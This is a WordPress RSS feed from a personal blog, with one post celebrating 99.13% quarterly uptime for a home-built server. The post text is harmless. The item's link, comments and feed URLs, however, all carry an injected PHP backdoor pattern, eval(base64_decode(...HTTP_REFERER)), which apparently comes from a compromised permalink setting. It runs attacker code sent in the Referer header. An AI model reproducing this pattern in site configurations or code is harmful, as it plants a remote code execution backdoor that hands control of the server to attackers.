<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; uptime</title>
	<atom:link href="http://www.jessecole.org/tag/uptime/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>99.13% uptime</title>
		<link>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 01 Apr 2008 03:59:31 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[uptime]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=53</guid>
		<description><![CDATA[I&#8217;ve been using host-tracker for a while now to monitor my uptime. Today they sent me my quarterly report and i&#8217;m pleased to report, to you, that my uptime is better than many for pay shared hosting providers. My little server that i put together myself, running directly on the grid with no UPS, running [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using <a title="Host Tracker" href="http://host-tracker.com">host-tracker</a> for a while now to monitor my uptime.  Today they sent me my quarterly report and i&#8217;m pleased to report, to you, that my uptime is better than many for pay shared hosting providers.  My little server that i put together myself, running directly on the grid with no UPS, running off a little tiny slow home dsl connection, and connected to that connection via an old wireless bridge is better than some datacenters.  That is just awesome.  Below i have included the report they sent me, whitespace and all.</p>
<pre>Quarterly report 2008-01

http://www.jessecole.org

Total uptime:99.13% Downtime:6 hour(s) 13 min(s)
Quarterly uptime:99.13% Downtime:6 hour(s) 13 min(s)
Month 2008-03 Uptime:99.13% Downtime:6 hour(s) 13 min(s)</pre>
<p><strong>*Update*</strong>So, wordpress helpfully stripped the white space.  Yay!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/03/31/9913-uptime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
